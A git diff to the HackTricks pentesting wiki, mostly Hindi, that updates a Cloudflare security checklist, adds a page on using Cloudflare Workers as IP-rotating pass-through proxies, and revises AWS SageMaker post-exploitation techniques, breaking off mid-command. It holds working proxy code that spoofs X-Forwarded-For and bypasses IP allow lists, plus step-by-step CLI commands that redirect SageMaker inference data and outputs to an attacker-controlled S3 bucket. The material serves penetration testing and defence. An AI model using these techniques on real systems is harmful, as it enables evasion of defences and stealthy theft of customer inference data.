diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index baf6eb5f6..0fb5c2347 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -एक Cloudflare खाते में कुछ **सामान्य सेटिंग्स और सेवाएँ** होती हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा से संबंधित सेटिंग्स का विश्लेषण** करने जा रहे हैं: +Cloudflare खाते में कुछ **सामान्य सेटिंग्स और सेवाएँ** हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा संबंधित सेटिंग्स का विश्लेषण करेंगे:**
-## वेबसाइटें +## वेबसाइट्स -प्रत्येक की समीक्षा करें: +Review each with: {{#ref}} cloudflare-domains.md @@ -16,84 +16,90 @@ cloudflare-domains.md ### डोमेन पंजीकरण -- [ ] **`Transfer Domains`** में जांचें कि किसी भी डोमेन को स्थानांतरित करना संभव नहीं है। +- [ ] In **`Transfer Domains`** सुनिश्चित करें कि किसी भी डोमेन का ट्रांसफर करना संभव न हो। -प्रत्येक की समीक्षा करें: +Review each with: {{#ref}} cloudflare-domains.md {{#endref}} -## विश्लेषण +## एनालिटिक्स -_मैंने कॉन्फ़िग सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_ +_कॉन्फ़िगरेशन सुरक्षा समीक्षा के लिए जांचने योग्य कुछ नहीं मिला._ -## पृष्ठ +## Pages -प्रत्येक Cloudflare के पृष्ठ पर: +प्रत्येक Cloudflare Page पर: -- [ ] **`Build log`** में **संवेदनशील जानकारी** की जांच करें। -- [ ] पृष्ठों को सौंपे गए **Github repository** में **संवेदनशील जानकारी** की जांच करें। -- [ ] **workflow command injection** या `pull_request_target` समझौते के माध्यम से संभावित github repo समझौते की जांच करें। अधिक जानकारी [**Github सुरक्षा पृष्ठ**](../github-security/) में है। -- [ ] `/fuctions` निर्देशिका में **कमजोर कार्यों** की जांच करें (यदि कोई हो), `_redirects` फ़ाइल में **redirects** की जांच करें (यदि कोई हो) और `_headers` फ़ाइल में **गलत कॉन्फ़िगर किए गए हेडर** की जांच करें (यदि कोई हो)। -- [ ] यदि आप **कोड** तक पहुँच सकते हैं तो **blackbox** या **whitebox** के माध्यम से **वेब पृष्ठ** में **कमजोरियों** की जांच करें। -- [ ] प्रत्येक पृष्ठ के विवरण `//pages/view/blocklist/settings/functions` में। **`Environment variables`** में **संवेदनशील जानकारी** की जांच करें। -- [ ] विवरण पृष्ठ में **build command** और **root directory** की भी जांच करें कि क्या **संभावित इंजेक्शन** पृष्ठ को समझौता कर सकते हैं। +- [ ] **`Build log`** में **संवेदनशील जानकारी** के लिए जांच करें। +- [ ] Pages को असाइन किए गए **Github repository** में **संवेदनशील जानकारी** की जांच करें। +- [ ] संभावित Github repo compromise की जांच करें via **workflow command injection** या `pull_request_target` compromise. अधिक जानकारी के लिए [**Github Security page**](../github-security/index.html) देखें। +- [ ] `/fuctions` directory में **vulnerable functions** की जांच करें (यदि कोई), `_redirects` फ़ाइल में **redirects** की जांच करें (यदि कोई) और `_headers` फ़ाइल में **misconfigured headers** की जांच करें (यदि कोई)। +- [ ] यदि आप **code** तक पहुँच सकते हैं तो **blackbox** या **whitebox** के माध्यम से **web page** में **vulnerabilities** के लिए जांच करें। +- [ ] प्रत्येक पृष्ठ के विवरण में `//pages/view/blocklist/settings/functions` देखें। **`Environment variables`** में **संवेदनशील जानकारी** के लिए जांच करें। +- [ ] विवरण पृष्ठ में **build command** और **root directory** की भी जांच करें कि क्या पेज को compromise करने के लिए कोई **potential injections** हैं। -## **कार्यकर्ता** +## **Workers** -प्रत्येक Cloudflare के कार्यकर्ता की जांच करें: +प्रत्येक Cloudflare Worker पर जांच करें: -- [ ] ट्रिगर्स: कार्यकर्ता को क्या ट्रिगर करता है? क्या एक **उपयोगकर्ता डेटा भेज सकता है** जो कार्यकर्ता द्वारा **उपयोग** किया जाएगा? -- [ ] **`Settings`** में, **संवेदनशील जानकारी** वाले **`Variables`** की जांच करें। -- [ ] **कार्यकर्ता के कोड** की जांच करें और **कमजोरियों** की खोज करें (विशेष रूप से उन स्थानों पर जहां उपयोगकर्ता इनपुट को प्रबंधित कर सकता है)। -- नियंत्रित पृष्ठ को लौटाने वाले SSRFs की जांच करें। -- SVG छवि के अंदर JS निष्पादित करने वाले XSSs की जांच करें। -- यह संभव है कि कार्यकर्ता अन्य आंतरिक सेवाओं के साथ बातचीत करता है। उदाहरण के लिए, एक कार्यकर्ता एक R2 बकेट के साथ बातचीत कर सकता है जिसमें इनपुट से प्राप्त जानकारी संग्रहीत होती है। इस मामले में, यह जांचना आवश्यक होगा कि कार्यकर्ता के पास R2 बकेट पर क्या क्षमताएँ हैं और इसे उपयोगकर्ता इनपुट से कैसे दुरुपयोग किया जा सकता है। +- [ ] ट्रिगर्स: Worker को क्या ट्रिगर करता है? क्या कोई user ऐसा डेटा भेज सकता है जिसे Worker उपयोग करेगा? +- [ ] **`Settings`** में **`Variables`** जो **संवेदनशील जानकारी** रखते हैं, उनकी जांच करें। +- [ ] Worker के **code** की जांच करें और **vulnerabilities** खोजें (विशेषकर उन जगहों पर जहाँ user इनपुट को नियंत्रित कर सकता है)। +- [ ] SSRFs की जांच करें जो उस निर्दिष्ट पेज को return करें जिसे आप नियंत्रित कर सकते हैं। +- [ ] XSSs की जांच करें जो svg image के अंदर JS execute करते हैं। +- [ ] यह संभव है कि Worker अन्य internal services के साथ interact करे। उदाहरण के लिए, एक Worker ऐसा R2 bucket के साथ interact कर सकता है जिसमें इनपुट से प्राप्त information store होती है। उस स्थिति में, यह जांचना आवश्यक होगा कि Worker के पास R2 bucket पर क्या capabilities हैं और इन्हें user input से कैसे abuse किया जा सकता है। > [!WARNING] -> ध्यान दें कि डिफ़ॉल्ट रूप से एक **कार्यकर्ता को एक URL** दिया जाता है जैसे `..workers.dev`। उपयोगकर्ता इसे एक **उपडोमेन** पर सेट कर सकता है लेकिन यदि आप इसे जानते हैं तो आप हमेशा उस **मूल URL** के साथ इसे एक्सेस कर सकते हैं। +> डिफ़ॉल्ट रूप से एक **Worker को एक URL दिया जाता है** जैसे `..workers.dev`। user इसे एक **subdomain** पर सेट कर सकता है, लेकिन यदि आप उस **original URL** को जानते हैं तो आप हमेशा उससे access कर सकते हैं। + +For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check: + +{{#ref}} +cloudflare-workers-pass-through-proxy-ip-rotation.md +{{#endref}} ## R2 -प्रत्येक R2 बकेट की जांच करें: +प्रत्येक R2 bucket पर जांचें: -- [ ] **CORS नीति** कॉन्फ़िगर करें। +- [ ] **CORS Policy** configure करें। -## स्ट्रीम +## Stream TODO -## छवियाँ +## Images TODO -## सुरक्षा केंद्र +## Security Center -- [ ] यदि संभव हो, तो **`Security Insights`** **स्कैन** और **`Infrastructure`** **स्कैन** चलाएँ, क्योंकि वे **सुरक्षा** के दृष्टिकोण से दिलचस्प जानकारी **हाइलाइट** करेंगे। -- [ ] सुरक्षा गलत कॉन्फ़िगरेशन और दिलचस्प जानकारी के लिए केवल **इस जानकारी** की जांच करें। +- [ ] यदि संभव हो, तो **`Security Insights`** **scan** और **`Infrastructure`** **scan** चलाएँ, क्योंकि ये security संबंधी रोचक जानकारी को highlight करेंगे। +- [ ] बस इन जानकारियों को security misconfigurations और रोचक सूचनाओं के लिए जांचें। -## टर्नस्टाइल +## Turnstile TODO -## **जीरो ट्रस्ट** +## **Zero Trust** {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -## बल्क रीडायरेक्ट्स +## Bulk Redirects > [!NOTE] -> [डायनामिक रीडायरेक्ट्स](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) के विपरीत, [**बल्क रीडायरेक्ट्स**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) मूल रूप से स्थिर हैं - वे **किसी भी स्ट्रिंग प्रतिस्थापन** संचालन या नियमित अभिव्यक्तियों का समर्थन नहीं करते हैं। हालाँकि, आप URL रीडायरेक्ट पैरामीटर कॉन्फ़िगर कर सकते हैं जो उनके URL मिलान व्यवहार और उनके रनटाइम व्यवहार को प्रभावित करते हैं। +> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — वे मूल रूप से static हैं — वे किसी भी string replacement ऑपरेशन या regular expressions का समर्थन नहीं करते। हालांकि, आप URL redirect parameters configure कर सकते हैं जो उनके URL matching व्यवहार और उनके runtime व्यवहार को प्रभावित करते हैं। -- [ ] जांचें कि रीडायरेक्ट के लिए **व्यक्तिगत** और **आवश्यकताएँ** **संगत** हैं। -- [ ] **संवेदनशील छिपे हुए एंडपॉइंट्स** के लिए भी जांचें जो दिलचस्प जानकारी रखते हैं। +- [ ] जाँचें कि redirects के लिए दिए गए **expressions** और **requirements** समझदारी से बने हैं। +- [ ] यह भी जाँचें कि क्या कोई **sensitive hidden endpoints** हैं जिनमें रोचक जानकारी निहित हो। -## सूचनाएँ +## Notifications -- [ ] **सूचनाओं** की जांच करें। ये सूचनाएँ सुरक्षा के लिए अनुशंसित हैं: +- [ ] **notifications** की जाँच करें। सुरक्षा के लिए ये notifications सुझाए जाते हैं: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] सभी **गंतव्यों** की जांच करें, क्योंकि वेबहुक URLs में **संवेदनशील जानकारी** (बुनियादी http प्रमाणीकरण) हो सकती है। यह भी सुनिश्चित करें कि वेबहुक URLs **HTTPS** का उपयोग करते हैं। -- [ ] अतिरिक्त जांच के रूप में, आप किसी तीसरे पक्ष को **cloudflare सूचना** का **प्रतिरूपण** करने की कोशिश कर सकते हैं, शायद आप किसी तरह **कुछ खतरनाक इंजेक्ट** कर सकते हैं। +- [ ] सभी **destinations** की जांच करें, क्योंकि webhook URLs में **संवेदनशील जानकारी** (basic http auth) हो सकती है। यह भी सुनिश्चित करें कि webhook URLs **HTTPS** का उपयोग करें। +- [ ] अतिरिक्त जाँच के रूप में, आप किसी तृतीय पक्ष को **Cloudflare notification impersonate** करने की कोशिश कर सकते हैं—शायद आप किसी तरह **inject कुछ खतरनाक** कर पाएं। -## खाता प्रबंधित करें +## खाता प्रबंधन -- [ ] **`Billing` -> `Payment info`** में **क्रेडिट कार्ड** के **अंतिम 4 अंक**, **समाप्ति** समय और **बिलिंग पता** देखना संभव है। -- [ ] **`Billing` -> `Subscriptions`** में खाते में उपयोग किए जाने वाले **योजना प्रकार** को देखना संभव है। -- [ ] **`Members`** में खाते के सभी सदस्यों और उनकी **भूमिका** को देखना संभव है। ध्यान दें कि यदि योजना प्रकार एंटरप्राइज नहीं है, तो केवल 2 भूमिकाएँ होती हैं: व्यवस्थापक और सुपर व्यवस्थापक। लेकिन यदि उपयोग की गई **योजना एंटरप्राइज** है, तो [**अधिक भूमिकाएँ**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) का उपयोग किया जा सकता है ताकि न्यूनतम विशेषाधिकार सिद्धांत का पालन किया जा सके। -- इसलिए, जब भी संभव हो, **एंटरप्राइज योजना** का उपयोग करना **अनुशंसित** है। -- [ ] सदस्यों में यह जांचना संभव है कि कौन से **सदस्यों** ने **2FA सक्षम** किया है। **हर** उपयोगकर्ता को इसे सक्षम करना चाहिए। +- [ ] आप **`Billing` -> `Payment info`** में क्रेडिट कार्ड के **last 4 digits**, **expiration** समय और **billing address** देख सकते हैं। +- [ ] आप खाते में उपयोग किए गए **plan type** को **`Billing` -> `Subscriptions`** में देख सकते हैं। +- [ ] **`Members`** में आप खाते के सभी सदस्य और उनकी **role** देख सकते हैं। ध्यान दें कि यदि plan type Enterprise नहीं है, तो केवल 2 roles होते हैं: Administrator और Super Administrator। लेकिन यदि उपयोग किए गए **plan is Enterprise** है, तो [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) का उपयोग least privilege सिद्धांत का पालन करने के लिए किया जा सकता है। +- इसलिए, जहाँ संभव हो **Enterprise plan** का उपयोग करने की सिफ़ारिश की जाती है। +- [ ] Members में यह भी देखा जा सकता है कि किन **members** के पास **2FA enabled** है। **हर** user के पास यह सक्षम होना चाहिए। > [!NOTE] -> ध्यान दें कि सौभाग्य से भूमिका **`Administrator`** को सदस्यता प्रबंधन के लिए अनुमतियाँ नहीं दी जाती हैं (**विशेषाधिकार बढ़ाने या** नए सदस्यों को आमंत्रित करने की अनुमति नहीं है)। +> ध्यान दें कि सौभाग्य से role **`Administrator`** को memberships प्रबंधित करने की अनुमति नहीं देती (**cannot escalate privs or invite** नए सदस्यों को)। -## DDoS जांच +## DDoS Investigation -[इस भाग की जांच करें](cloudflare-domains.md#cloudflare-ddos-protection). +[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md new file mode 100644 index 000000000..e05566b25 --- /dev/null +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -0,0 +1,286 @@ +# Cloudflare Workers का पास-थ्रू प्रॉक्सी के रूप में दुरुपयोग (IP rotation, FireProx-style) + +{{#include ../../banners/hacktricks-training.md}} + +Cloudflare Workers को इस तरह डिप्लॉय किया जा सकता है कि वे एक ट्रांसपेरेंट HTTP पास-थ्रू प्रॉक्सी की तरह काम करें जहाँ upstream target URL क्लाइंट द्वारा सप्लाई किया जाता है। अनुरोध Cloudflare के नेटवर्क से बाहर जाते हैं इसलिए target क्लाइंट के बजाय Cloudflare IPs को देखता है। यह AWS API Gateway पर प्रचलित FireProx तकनीक का समकक्ष है, लेकिन यहाँ Cloudflare Workers का उपयोग होता है। + +### मुख्य क्षमताएँ +- सभी HTTP methods का समर्थन (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- Target को query parameter (?url=...), एक header (X-Target-URL), या path में एन्कोड किया गया (उदा., /https://target) के माध्यम से दिया जा सकता है +- Headers और body को आवश्यकतानुसार hop-by-hop/header filtering के साथ प्रॉक्सी किया जाता है +- Responses को वापस रिले किया जाता है, status code और अधिकांश headers संरक्षित रहते हैं +- X-Forwarded-For का वैकल्पिक spoofing (यदि Worker इसे user-controlled header से सेट करता है) +- कई Worker endpoints डिप्लॉय करके और requests को फैला कर बेहद तेज/आसान rotation + +### यह कैसे काम करता है (flow) +1) Client एक HTTP request भेजता है Worker URL (`..workers.dev` या किसी custom domain route) पर। +2) Worker target निकालता है या तो query parameter (?url=...), X-Target-URL header, या path segment से (यदि लागू किया गया हो)। +3) Worker incoming method, headers, और body को निर्दिष्ट upstream URL पर फॉरवर्ड करता है (समस्याग्रस्त headers को फ़िल्टर करते हुए)। +4) Upstream response Cloudflare के माध्यम से क्लाइंट को स्ट्रीम किया जाता है; origin Cloudflare egress IPs को देखता है। + +### Worker implementation example +- query param, header, या path से target URL पढ़ता है +- headers का एक सुरक्षित subset कॉपी करता है और original method/body को फॉरवर्ड करता है +- वैकल्पिक रूप से X-Forwarded-For सेट करता है user-controlled header (X-My-X-Forwarded-For) या किसी random IP का उपयोग करते हुए +- permissive CORS जोड़ता है और preflight को हैंडल करता है + +
+पास-थ्रू प्रॉक्सिंग के लिए उदाहरण Worker (JavaScript) +```javascript +/** +* Minimal Worker pass-through proxy +* - Target URL from ?url=, X-Target-URL, or /https://... +* - Proxies method/headers/body to upstream; relays response +*/ +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) + +async function handleRequest(request) { +try { +const url = new URL(request.url) +const targetUrl = getTargetUrl(url, request.headers) + +if (!targetUrl) { +return errorJSON('No target URL specified', 400, { +usage: { +query_param: '?url=https://example.com', +header: 'X-Target-URL: https://example.com', +path: '/https://example.com' +} +}) +} + +let target +try { target = new URL(targetUrl) } catch (e) { +return errorJSON('Invalid target URL', 400, { provided: targetUrl }) +} + +// Forward original query params except control ones +const passthru = new URLSearchParams() +for (const [k, v] of url.searchParams) { +if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v) +} +if (passthru.toString()) target.search = passthru.toString() + +// Build proxied request +const proxyReq = buildProxyRequest(request, target) +const upstream = await fetch(proxyReq) + +return buildProxyResponse(upstream, request.method) +} catch (error) { +return errorJSON('Proxy request failed', 500, { +message: error.message, +timestamp: new Date().toISOString() +}) +} +} + +function getTargetUrl(url, headers) { +let t = url.searchParams.get('url') || headers.get('X-Target-URL') +if (!t && url.pathname !== '/') { +const p = url.pathname.slice(1) +if (p.startsWith('http')) t = p +} +return t +} + +function buildProxyRequest(request, target) { +const h = new Headers() +const allow = [ +'accept','accept-language','accept-encoding','authorization', +'cache-control','content-type','origin','referer','user-agent' +] +for (const [k, v] of request.headers) { +if (allow.includes(k.toLowerCase())) h.set(k, v) +} +h.set('Host', target.hostname) + +// Optional: spoof X-Forwarded-For if provided +const spoof = request.headers.get('X-My-X-Forwarded-For') +h.set('X-Forwarded-For', spoof || randomIP()) + +return new Request(target.toString(), { +method: request.method, +headers: h, +body: ['GET','HEAD'].includes(request.method) ? null : request.body +}) +} + +function buildProxyResponse(resp, method) { +const h = new Headers() +for (const [k, v] of resp.headers) { +if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) { +h.set(k, v) +} +} +// Permissive CORS for tooling convenience +h.set('Access-Control-Allow-Origin', '*') +h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD') +h.set('Access-Control-Allow-Headers', '*') + +if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h }) +return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h }) +} + +function errorJSON(msg, status=400, extra={}) { +return new Response(JSON.stringify({ error: msg, ...extra }), { +status, headers: { 'Content-Type': 'application/json' } +}) +} + +function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') } +``` +
+ +### FlareProx के साथ तैनाती और रोटेशन का स्वचालन + +FlareProx एक Python टूल है जो Cloudflare API का उपयोग करके कई Worker endpoints को deploy करता है और उनके बीच rotate करता है। यह Cloudflare के नेटवर्क से FireProx-like IP rotation प्रदान करता है। + +Setup +1) “Edit Cloudflare Workers” टेम्पलेट का उपयोग करके एक Cloudflare API Token बनाएं और dashboard से अपना Account ID प्राप्त करें। +2) FlareProx को कॉन्फ़िगर करें: +```bash +git clone https://github.com/MrTurvey/flareprox +cd flareprox +pip install -r requirements.txt +``` +**flareprox.json config file बनाएं:** +```json +{ +"cloudflare": { +"api_token": "your_cloudflare_api_token", +"account_id": "your_cloudflare_account_id" +} +} +``` +**CLI उपयोग** + +- N Worker proxies बनाएँ: +```bash +python3 flareprox.py create --count 2 +``` +- endpoints की सूची: +```bash +python3 flareprox.py list +``` +- हेल्थ-टेस्ट endpoints: +```bash +python3 flareprox.py test +``` +- सभी endpoints हटाएँ: +```bash +python3 flareprox.py cleanup +``` +**Worker के माध्यम से ट्रैफ़िक रूटिंग** +- क्वेरी पैरामीटर फ़ॉर्म: +```bash +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" +``` +- हेडर फॉर्म: +```bash +curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev +``` +- पथ रूप (यदि लागू किया गया हो): +```bash +curl https://your-worker.account.workers.dev/https://httpbin.org/ip +``` +- विधि के उदाहरण: +```bash +# GET +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get" + +# POST (form) +curl -X POST -d "username=admin" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/post" + +# PUT (JSON) +curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/put" + +# DELETE +curl -X DELETE \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/delete" +``` +**`X-Forwarded-For` नियंत्रण** + +यदि Worker `X-My-X-Forwarded-For` को सम्मान देता है, तो आप upstream `X-Forwarded-For` मान को प्रभावित कर सकते हैं: +```bash +curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/headers" +``` +**प्रोग्रामेटिक उपयोग** + +FlareProx लाइब्रेरी का उपयोग करके Python से endpoints create/list/test करें और requests को route करें। + +
+Python उदाहरण: किसी random Worker endpoint के माध्यम से POST भेजें +```python +#!/usr/bin/env python3 +from flareprox import FlareProx, FlareProxError +import json + +# Initialize +flareprox = FlareProx(config_file="flareprox.json") +if not flareprox.is_configured: +print("FlareProx not configured. Run: python3 flareprox.py config") +exit(1) + +# Ensure endpoints exist +endpoints = flareprox.sync_endpoints() +if not endpoints: +print("Creating proxy endpoints...") +flareprox.create_proxies(count=2) + +# Make a POST request through a random endpoint +try: +post_data = json.dumps({ +"username": "testuser", +"message": "Hello from FlareProx!", +"timestamp": "2025-01-01T12:00:00Z" +}) + +headers = { +"Content-Type": "application/json", +"User-Agent": "FlareProx-Client/1.0" +} + +response = flareprox.redirect_request( +target_url="https://httpbin.org/post", +method="POST", +headers=headers, +data=post_data +) + +if response.status_code == 200: +result = response.json() +print("✓ POST successful via FlareProx") +print(f"Origin IP: {result.get('origin', 'unknown')}") +print(f"Posted data: {result.get('json', {})}") +else: +print(f"Request failed with status: {response.status_code}") + +except FlareProxError as e: +print(f"FlareProx error: {e}") +except Exception as e: +print(f"Request error: {e}") +``` +
+ +**Burp/Scanner एकीकरण** +- उपकरणों (उदाहरण के लिए, Burp Suite) को Worker URL पर निर्देशित करें। +- वास्तविक upstream को ?url= या X-Target-URL के माध्यम से प्रदान करें। +- HTTP semantics (methods/headers/body) संरक्षित रहते हैं जबकि आपका source IP Cloudflare के पीछे छिपा रहता है। + +**संचालन संबंधी नोट्स और सीमाएँ** +- Cloudflare Workers Free plan प्रति खाते लगभग 100,000 requests/day अनुमति देता है; आवश्यकता होने पर ट्रैफ़िक वितरित करने के लिए multiple endpoints का उपयोग करें। +- Workers Cloudflare’s network पर चलते हैं; कई targets केवल Cloudflare IPs/ASN देखेंगे, जो naive IP allow/deny lists या geo heuristics को बायपास कर सकता है। +- जिम्मेदारी से और केवल अनुमति के साथ उपयोग करें। ToS और robots.txt का सम्मान करें। + +## संदर्भ +- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) +- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/) +- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/) +- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index 872aafeba..e605196d5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker endpoint से डेटा निकालना UpdateEndpoint DataCaptureConfig के माध्यम से +## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig -SageMaker endpoint management का दुरुपयोग करके attacker‑controlled S3 bucket में full request/response capture सक्षम करें बिना model या container को छुए। यह zero/low‑downtime rolling update का उपयोग करता है और केवल endpoint management permissions की आवश्यकता होती है। +SageMaker endpoint प्रबंधन का दुरुपयोग करके बिना model या container को छुए हमलावर‑नियंत्रित S3 बकेट में पूरा request/response कैप्चर सक्षम करें। यह एक zero/low‑downtime rolling update का उपयोग करता है और केवल endpoint management अनुमतियाँ चाहिए। ### आवश्यकताएँ - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: `s3:CreateBucket` (या उसी खाते में मौजूद किसी मौजूदा bucket का उपयोग करें) -- वैकल्पिक (यदि SSE‑KMS का उपयोग कर रहे हैं): `kms:Encrypt` चुने गए CMK पर -- लक्ष्‍य: उसी account/region में मौजूद एक InService real‑time endpoint +- S3: `s3:CreateBucket` (या उसी अकाउंट में मौजूद किसी बकेट का उपयोग करें) +- वैकल्पिक (यदि SSE‑KMS का उपयोग कर रहे हैं): `kms:Encrypt` चुने हुए CMK पर +- Target: उसी अकाउंट/रीजन में एक मौजूदा InService real‑time endpoint ### चरण -1) एक InService endpoint की पहचान करें और वर्तमान production variants एकत्र करें +1) एक InService endpoint की पहचान करें और वर्तमान प्रोडक्शन variants इकट्ठा करें ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) captures के लिए attacker S3 destination को तैयार करें +2) कैप्चर्स के लिए attacker S3 गंतव्य तैयार करें ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) समान वेरिएंट्स बनाए रखते हुए एक नया EndpointConfig बनाएं जो attacker bucket पर DataCapture सक्षम करे +3) वही variants बनाए रखते हुए एक नया EndpointConfig बनाएं जो attacker bucket में DataCapture सक्षम करे -नोट: CLI वैलिडेशन को पूरा करने वाले स्पष्ट content types का उपयोग करें। +नोट: CLI सत्यापन को पूरा करने वाले स्पष्ट कंटेंट प्रकारों का उपयोग करें। ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) नए config को rolling update के साथ लागू करें (minimal/no downtime) +4) नया config rolling update के साथ लागू करें (न्यूनतम/कोई डाउनटाइम नहीं) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) कम से कम एक inference call जनरेट करें (यदि live traffic मौजूद है तो वैकल्पिक) +5) कम से कम एक inference कॉल जनरेट करें (यदि लाइव ट्रैफ़िक मौजूद है तो वैकल्पिक) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) attacker S3 में captures को सत्यापित करें +6) attacker S3 में captures सत्यापित करें ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` ### प्रभाव -- लक्षित endpoint से हमलावर-नियंत्रित S3 बकेट में रियल‑टाइम inference request और response payloads (और metadata) का पूर्ण exfiltration। -- model/container image में कोई बदलाव नहीं और केवल endpoint‑level परिवर्तन, जिससे न्यूनतम operational disruption के साथ एक stealthy data theft path सक्षम होता है। +- Full exfiltration of real‑time inference request and response payloads (and metadata) from the targeted endpoint to an attacker‑controlled S3 bucket. +- मॉडल/container image में कोई बदलाव नहीं और केवल endpoint‑level बदलाव, जिससे न्यूनतम operational disruption के साथ एक stealthy data theft path सक्षम होता है। ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -endpoint management का दुरुपयोग करके asynchronous inference outputs को हमलावर-नियंत्रित S3 बकेट पर रीडायरेक्ट करें — इसके लिए वर्तमान EndpointConfig को clone करें और AsyncInferenceConfig.OutputConfig में S3OutputPath/S3FailurePath सेट करें। यह model predictions (और container द्वारा शामिल किए गए किसी भी transformed inputs) को model/container को modify किए बिना exfiltrate कर देता है। +Endpoint management का दुरुपयोग करके asynchronous inference outputs को attacker-controlled S3 bucket की ओर redirect करें — वर्तमान EndpointConfig को clone करके और AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath सेट करके। यह मॉडल की भविष्यवाणियों (और container द्वारा शामिल किसी भी transformed inputs) को बिना model/container को modify किए exfiltrate कर देता है। ### आवश्यकताएँ - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: attacker S3 bucket में लिखने की क्षमता (model execution role या permissive bucket policy के माध्यम से) -- Target: एक InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा) +- S3: attacker S3 bucket में लिखने की क्षमता (model execution role के माध्यम से या एक permissive bucket policy के द्वारा) +- लक्षित: एक InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा) -### चरण -1) लक्ष्य endpoint से वर्तमान ProductionVariants एकत्र करें +### कदम +1) लक्षित endpoint से वर्तमान ProductionVariants एकत्र करें ```bash REGION=${REGION:-us-east-1} EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker 